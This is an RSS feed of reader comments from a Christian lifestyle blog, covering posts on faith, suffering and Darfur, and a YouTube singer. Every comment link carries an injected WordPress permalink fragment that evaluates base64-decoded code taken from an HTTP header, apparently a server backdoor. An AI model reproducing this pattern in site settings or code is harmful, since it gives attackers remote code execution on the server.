Comments for faithmile.com http://faithmile.com practical faith, one step at a time Tue, 12 Oct 2010 16:01:52 +0000 hourly 1 http://wordpress.org/?v=3.3.2 Comment on The God of Small Altars by Jenny http://faithmile.com/2010/10/11/the-god-of-small-altars/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-1526 Jenny Tue, 12 Oct 2010 16:01:52 +0000 http://faithmile.com/?p=166#comment-1526 Katryna, this is so beautiful and true. Thank you for the reminder. Katryna, this is so beautiful and true. Thank you for the reminder.

]]> Comment on The God of Small Altars by Sharon http://faithmile.com/2010/10/11/the-god-of-small-altars/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-1525 Sharon Tue, 12 Oct 2010 09:46:02 +0000 http://faithmile.com/?p=166#comment-1525 I love this this was beautiful I love this this was beautiful

]]> Comment on Will you be my friend? by lisa hammons http://faithmile.com/2009/02/03/you%e2%80%99re-nice-will-you-be-my-friend/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-1382 lisa hammons Fri, 01 May 2009 21:42:30 +0000 http://faithmile.com/?p=31#comment-1382 i remember the good old days. i also remember how it was so easy to make friends with other girls. this article hit home, because some of my best friends were in grade school. This world has seemed to become so hardened because of "hard times." What ive come to realize is that if your trust is in the lord, you have so much time to use to make new friends and gain support from places you wouldve never imagined. i remember the good old days. i also remember how it was so easy to make friends with other girls. this article hit home, because some of my best friends were in grade school. This world has seemed to become so hardened because of “hard times.” What ive come to realize is that if your trust is in the lord, you have so much time to use to make new friends and gain support from places you wouldve never imagined.

]]> Comment on Crisis of Faith by Katryna Starks http://faithmile.com/2007/07/06/crisis-of-faith/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-1288 Katryna Starks Wed, 12 Mar 2008 06:42:14 +0000 http://faithmile.com/?p=24#comment-1288 Hi Debbie, I'm sorry I didn't get back to you when you wrote this. Honestly, most of my comments turn out to be spam, so I don't check often anymore. But I like your honesty and I want to respond. Since I said that I'm sticking with God and he had reassured me of his love for us, I'll give you some of what I think - but I don't know that this answer will work for you or even if it is the ultimate one. I basically think that God has given us free will so that we can prove the types of people we want to be. I do believe that God provides forgiveness for all, but that doesn't let us humans off the hook completely. I believe those in Darfur who are doing evil will get their comeuppance - and when they do, God will point out to them that he let them choose what they wanted to be, and they chose. You can't give humans the opportunity to be good without also giving them the opportunity to be evil. On another note, I just read H.G. Wells science fiction book, The Time Machine. In the book, a time traveller goes into the future and finds that humanity has devolved into two distinct species. The Eloi - who are childlike and trouble free - and the Morlocks who are evil and carnivorous, and who use the Eloi for food. In the book, Wells notes that hardships keep our senses sharp, and that if we ever reached utopia, we would quickly devolve as a species because there would be no problems to solve. I don't know if this makes sense, but the explanation in the book is wonderful. Mind you, this is not the Bible, it's just an observation of humanity in a science fiction book. Another view is that God does work, but he works though people. He loves us, and he also wants us to love one another. Sometimes when we look up and ask God what he is going to do, he looks down at us and says "I put 6 million of you all together. What are you going to do for each other?" There is a song by Casting Crowns called "If We Are The Body" and the lyrics are basically that if we are the body of Christ, why aren't his hands healing? Why isn't his love reaching? Why aren't his words teaching? Another song with a similar theme is "In Not Of" by Avalon. That song asks why Christians hide from the world when we are supposed to be helping to save it. In essence, some of the trouble with people's views of God is that Christians aren't reflecting him properly. Granted, we aren't perfect either, but we are supposed to be compassionate and helpful rather than judgemental. God allows all of us to experience hardships so that we can develop empathy and compassion - which should help us reflect his heart toward others, but sometimes it makes us hide and turn inward, thinking we can ward off future pain if we just don't act like "those unbelievers". I admit, though, it's still hard wrapping my head around the ongoing suffering in some places, like in Darfur. There is so much pain and it seems to be unending. Ironically, the people in those situations are usually Christian and, in interviews, they have the strongest faith I have ever seen. I don't know how they do it. I do believe that God will bring it to an end, but I also think humanity is to blame. The whole conflict area is almost the size of Texas. How is it that the U.N. can't contain that? All of the nations in the world can't get together and stop the bloodshed in an area the size of Texas? Maybe before God steps in to save humanity, he's giving us the chance to prove ourselves as humans. Hi Debbie,
I’m sorry I didn’t get back to you when you wrote this. Honestly, most of my comments turn out to be spam, so I don’t check often anymore. But I like your honesty and I want to respond.
Since I said that I’m sticking with God and he had reassured me of his love for us, I’ll give you some of what I think – but I don’t know that this answer will work for you or even if it is the ultimate one.
I basically think that God has given us free will so that we can prove the types of people we want to be. I do believe that God provides forgiveness for all, but that doesn’t let us humans off the hook completely. I believe those in Darfur who are doing evil will get their comeuppance – and when they do, God will point out to them that he let them choose what they wanted to be, and they chose. You can’t give humans the opportunity to be good without also giving them the opportunity to be evil.
On another note, I just read H.G. Wells science fiction book, The Time Machine. In the book, a time traveller goes into the future and finds that humanity has devolved into two distinct species. The Eloi – who are childlike and trouble free – and the Morlocks who are evil and carnivorous, and who use the Eloi for food. In the book, Wells notes that hardships keep our senses sharp, and that if we ever reached utopia, we would quickly devolve as a species because there would be no problems to solve. I don’t know if this makes sense, but the explanation in the book is wonderful. Mind you, this is not the Bible, it’s just an observation of humanity in a science fiction book.
Another view is that God does work, but he works though people. He loves us, and he also wants us to love one another. Sometimes when we look up and ask God what he is going to do, he looks down at us and says “I put 6 million of you all together. What are you going to do for each other?” There is a song by Casting Crowns called “If We Are The Body” and the lyrics are basically that if we are the body of Christ, why aren’t his hands healing? Why isn’t his love reaching? Why aren’t his words teaching? Another song with a similar theme is “In Not Of” by Avalon. That song asks why Christians hide from the world when we are supposed to be helping to save it. In essence, some of the trouble with people’s views of God is that Christians aren’t reflecting him properly. Granted, we aren’t perfect either, but we are supposed to be compassionate and helpful rather than judgemental. God allows all of us to experience hardships so that we can develop empathy and compassion – which should help us reflect his heart toward others, but sometimes it makes us hide and turn inward, thinking we can ward off future pain if we just don’t act like “those unbelievers”.
I admit, though, it’s still hard wrapping my head around the ongoing suffering in some places, like in Darfur. There is so much pain and it seems to be unending. Ironically, the people in those situations are usually Christian and, in interviews, they have the strongest faith I have ever seen. I don’t know how they do it. I do believe that God will bring it to an end, but I also think humanity is to blame. The whole conflict area is almost the size of Texas. How is it that the U.N. can’t contain that? All of the nations in the world can’t get together and stop the bloodshed in an area the size of Texas? Maybe before God steps in to save humanity, he’s giving us the chance to prove ourselves as humans.

]]> Comment on Crisis of Faith by Debbie Thompson http://faithmile.com/2007/07/06/crisis-of-faith/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-1273 Debbie Thompson Tue, 27 Nov 2007 19:55:43 +0000 http://faithmile.com/?p=24#comment-1273 Well, I'm just not OK with not knowing. You Christians preach from the pulpit every Sunday that all of life's questions are answered in the Bible. OK, then where in the Bible are the answers to the questions you admit you ask? What is the reference about Darfur (specifically, not in general), 9/11/2001 (again, specifically), etc.? I know for a fact that answers to MY questions aren't in there--I've looked. I've also prayed about things, following Jesus' sure-fire method: Ask in prayer and you'll get it. No waiting, no explaining or justifying, no muss, no fuss. NO ANSWER. Look, if you believe in One who makes promises that aren't kept, that keeps His children in total darkness while they starve, suffer and die (while claiming to be the ultimate "father") yet claims to "love" them, go right ahead. But you seem to be a caring person, and I can't believe that you feel OK with killing your own kids or refusing to help them after you've guaranteed them you'll always be there for them. If you wouldn't help or answer them, why tease them and lie to them? And then, claim to NEVER lie? When every word out of your (God's) mouth is false, why would you (as God) think that ANYONE should listen, believe, trust, obey, etc.??? I'd be put in jail if I neglected my child like I've been neglected. And yes, I have a problem with bad people being blessed, but I can't change that, and my own situation is all I can worry about right now. And coming back with "your selfishness is why you're not happy" drivel (like I've heard so often), just shows how narrow the Christian focus is. I believed this stuff all my growing-up life, and when I needed help in my adult life, I discovered that the help wasn't there. You're right, the problem most non-believers have with "your side" is the incredulity--the "unbelievableness" of your message. Between not seeing it in your lives daily, and having it not work in ours, the whole idea is dead in the water. I'll admit that I think a bit about what happens after death--I'm not an atheist. I'm an agnostic; I just don't know but I DO know that no one else does, either. Christians would do well to admit that not even they have any answers. Life is pretty much one big crap shoot--you just have to hope that you miss getting shot. Well, I’m just not OK with not knowing. You Christians preach from the pulpit every Sunday that all of life’s questions are answered in the Bible. OK, then where in the Bible are the answers to the questions you admit you ask? What is the reference about Darfur (specifically, not in general), 9/11/2001 (again, specifically), etc.? I know for a fact that answers to MY questions aren’t in there–I’ve looked. I’ve also prayed about things, following Jesus’ sure-fire method: Ask in prayer and you’ll get it. No waiting, no explaining or justifying, no muss, no fuss. NO ANSWER. Look, if you believe in One who makes promises that aren’t kept, that keeps His children in total darkness while they starve, suffer and die (while claiming to be the ultimate “father”) yet claims to “love” them, go right ahead. But you seem to be a caring person, and I can’t believe that you feel OK with killing your own kids or refusing to help them after you’ve guaranteed them you’ll always be there for them. If you wouldn’t help or answer them, why tease them and lie to them? And then, claim to NEVER lie? When every word out of your (God’s) mouth is false, why would you (as God) think that ANYONE should listen, believe, trust, obey, etc.??? I’d be put in jail if I neglected my child like I’ve been neglected. And yes, I have a problem with bad people being blessed, but I can’t change that, and my own situation is all I can worry about right now. And coming back with “your selfishness is why you’re not happy” drivel (like I’ve heard so often), just shows how narrow the Christian focus is. I believed this stuff all my growing-up life, and when I needed help in my adult life, I discovered that the help wasn’t there. You’re right, the problem most non-believers have with “your side” is the incredulity–the “unbelievableness” of your message. Between not seeing it in your lives daily, and having it not work in ours, the whole idea is dead in the water. I’ll admit that I think a bit about what happens after death–I’m not an atheist. I’m an agnostic; I just don’t know but I DO know that no one else does, either. Christians would do well to admit that not even they have any answers. Life is pretty much one big crap shoot–you just have to hope that you miss getting shot.

]]> Comment on The Next YouTube Sensation (completely off-topic, I know) by Peter http://faithmile.com/2006/10/07/the-next-youtube-sensation-completely-off-topic-i-know/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-91 Peter Sat, 04 Nov 2006 23:31:19 +0000 http://faithmile.com/?p=20#comment-91 Hi Totaly agreed with author. Her voice is just out of this world , when i listen to covers made by her i m realy concidering if she s done better than original , and in some cases i gotta admit Yes she did better. Dammit just pure talent i hope she ll get a nice record deal and nothing will stop her. Imagine Alicia Keys feat Esmee ;)) unbelivable ? Everyone knows that life aint a fairy tale , but when it comes to her i wish it would be. Hi

Totaly agreed with author.

Her voice is just out of this world , when i listen to covers made by her i m realy concidering if she s done better than original , and in some cases i gotta admit Yes she did better. Dammit just pure talent i hope she ll get a nice record deal and nothing will stop her. Imagine Alicia Keys feat Esmee ;) ) unbelivable ? Everyone knows that life aint a fairy tale , but when it comes to her i wish it would be.

]]> Comment on The Next YouTube Sensation (completely off-topic, I know) by Yoon http://faithmile.com/2006/10/07/the-next-youtube-sensation-completely-off-topic-i-know/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-90 Yoon Wed, 01 Nov 2006 23:12:24 +0000 http://faithmile.com/?p=20#comment-90 Hi, I wholeheartedly agree with you, Esmee is an amazing singer. Now it would be nice if the videos weren't so grainy, but her singing ability more than makes up for any lack in production quality... at least the mike picks up her voice adequately. It makes you wonder... if she had studio time how good could she sound? Or a better mike attached to her computer? Thanks for mentioning her here... now get back to "business"! ; P God Bless, Yoon Hi,

I wholeheartedly agree with you, Esmee is an amazing singer.

Now it would be nice if the videos weren’t so grainy, but her singing ability more than makes up for any lack in production quality… at least the mike picks up her voice adequately.

It makes you wonder… if she had studio time how good could she sound? Or a better mike attached to her computer?

Thanks for mentioning her here… now get back to “business”! ; P

God Bless,
Yoon

]]> Comment on The Next YouTube Sensation (completely off-topic, I know) by blur http://faithmile.com/2006/10/07/the-next-youtube-sensation-completely-off-topic-i-know/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-89 blur Tue, 31 Oct 2006 17:57:46 +0000 http://faithmile.com/?p=20#comment-89 I realized she has a strong talent and deserves a record deal too, I hope she gets one. I realized she has a strong talent and deserves a record deal too, I hope she gets one.

]]> Comment on The Next YouTube Sensation (completely off-topic, I know) by ernesto http://faithmile.com/2006/10/07/the-next-youtube-sensation-completely-off-topic-i-know/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-72 ernesto Sun, 29 Oct 2006 02:25:56 +0000 http://faithmile.com/?p=20#comment-72 Esmée es la chica mas linda del internet y tiene una voz buenasa . esa chica debe estar en la tele mundial y su bellesa en peru seria admirada ,tanto en el peru como en todo el mundo por su bellesa y su voz a mi me gustaria conocerla a si como muchos ,creo que su hotmail debe ser publicado para que sepa qu es admirada Esmée es la chica mas linda del internet y tiene una voz buenasa . esa chica debe estar en la tele mundial y su bellesa en peru seria admirada ,tanto en el peru como en todo el mundo por su bellesa y su voz a mi me gustaria conocerla a si como muchos ,creo que su hotmail debe ser publicado para que sepa qu es admirada

]]> Comment on No.No.No.No.Nooooo! by Rachel http://faithmile.com/2006/03/11/nononononooooo/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-55 Rachel Tue, 10 Oct 2006 23:18:52 +0000 http://faithmile.com/?p=14#comment-55 Thank you, I could not have said it better my self. Thank you, I could not have said it better my self.

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